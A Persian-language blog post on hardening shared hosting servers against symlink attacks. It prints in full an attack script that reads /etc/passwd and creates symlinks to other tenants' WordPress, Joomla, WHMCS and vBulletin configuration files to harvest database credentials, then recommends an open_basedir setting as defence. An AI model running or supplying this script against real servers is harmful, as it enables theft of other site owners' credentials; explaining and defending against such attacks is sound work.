محافظت از مسیر /etc/passwd و جلوگیری از دسترسی PHP به آن به منظور ممانعت از حمله symlink

فایل /etc/passwd شامل تمامی نام‌های کاربری موجود در سیستم است. بنابراین با دسترسی به آن می‌توان فهمید چه سایت‌های دیگری و در چه مسیری در همین سرور وجود دارند. اسکریپت زیر را در نظر بگیرید:

$users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."\n";
}
foreach($usr as $uss )
{
$us=trim($uss);

$r="INDISHELL/";
symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config');
symlink('/home/'.$us.'/public_html/wordpress/wp-config.php',$r.$us.'..word-wp');
symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wpblog');
symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs');
symlink('/home/'.$us.'/public_html/joomla/configuration.php',$r.$us.'..joomla');
symlink('/home/'.$us.'/public_html/vb/includes/config.php',$r.$us.'..vbinc');
symlink('/home/'.$us.'/public_html/includes/config.php',$r.$us.'..vb');
symlink('/home/'.$us.'/public_html/conf_global.php',$r.$us.'..conf_global');
symlink('/home/'.$us.'/public_html/inc/config.php',$r.$us.'..inc');
symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config');
symlink('/home/'.$us.'/public_html/Settings.php',$r.$us.'..Settings');
symlink('/home/'.$us.'/public_html/sites/default/settings.php',$r.$us.'..sites');
symlink('/home/'.$us.'/public_html/whm/configuration.php',$r.$us.'..whm');
symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');
symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');
symlink('/home/'.$us.'/public_html/whmc/WHM/configuration.php',$r.$us.'..WHM');
symlink('/home/'.$us.'/public_html/whm/WHMCS/configuration.php',$r.$us.'..whmc');
symlink('/home/'.$us.'/public_html/whm/whmcs/configuration.php',$r.$us.'..WHMcs');
symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..whmcsupp');
symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-cli');
symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-cl');
symlink('/home/'.$us.'/public_html/clientes/configuration.php',$r.$us.'..whmcs-CL');
symlink('/home/'.$us.'/public_html/cliente/configuration.php',$r.$us.'..whmcs-Cl');
symlink('/home/'.$us.'/public_html/clientsupport/configuration.php',$r.$us.'..whmcs-csup');
symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-bill');
symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-conf');
}

در اسکریپت فوق هکر با خواند فایل passwd توانست symlink به همه فایل‌های احتمالی شامل تنضیمات پایگاه داده برای هاست‌های موجود روی سرور ایجاد کند.

بعد از این مرحله این فایل‌ها را دانلود کرده و با داشتن اطلاعات حساسی مانند اطلاعات ورود پایگاه داده به هک خود ادامه می‌دهد.

یکی از راه های مقابله با آن محدود کردن دسترسی PHP است:

open_basedir = "/home:/tmp:/usr"

را به تنضیمات php.ini اضافه کنید. البته با اضافه شدن این پیکربندی drush دیگر کار نخواهد کرد.

 

برچسب ها: 
درخت مرجع: 

افزودن نظر جدید